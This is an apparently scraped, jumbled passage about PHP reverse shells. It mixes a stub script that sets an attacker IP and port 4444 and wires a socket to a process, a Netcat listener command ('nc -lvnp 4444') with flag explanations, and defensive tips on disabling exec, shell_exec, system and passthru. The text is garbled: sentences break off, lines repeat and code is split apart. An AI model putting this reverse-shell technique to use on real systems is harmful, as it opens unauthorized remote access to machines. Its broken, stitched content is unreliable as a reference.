Using Netcat—the "Swiss Army knife" of networking tools—the attacker starts a listener with the following command:
// Check if socket is dead if (feof($sock)) break;
<?php // Reverse shell script - Set your IP and port below $ip = '192.168.45.10'; // Attacker's IP $port = 4444; // Attacker's listening port Reverse Shell Php
$sock, 1=>$sock, 2=>$sock),$pipes); ?> Use code with caution. Execution Strategy
Common implementations include:
:
To protect against reverse shell attacks, follow these best practices: Run the following command on the control machine
Disable PHP functions that are not needed for your application, such as exec , shell_exec , system , and passthru , which can be used to execute system commands.
The most universal tool for this is . Run the following command on the control machine before executing the PHP script: nc -lvnp 4444 Use code with caution. Command breakdown: -l : Sets Netcat to listen mode. // Attacker's IP $port = 4444
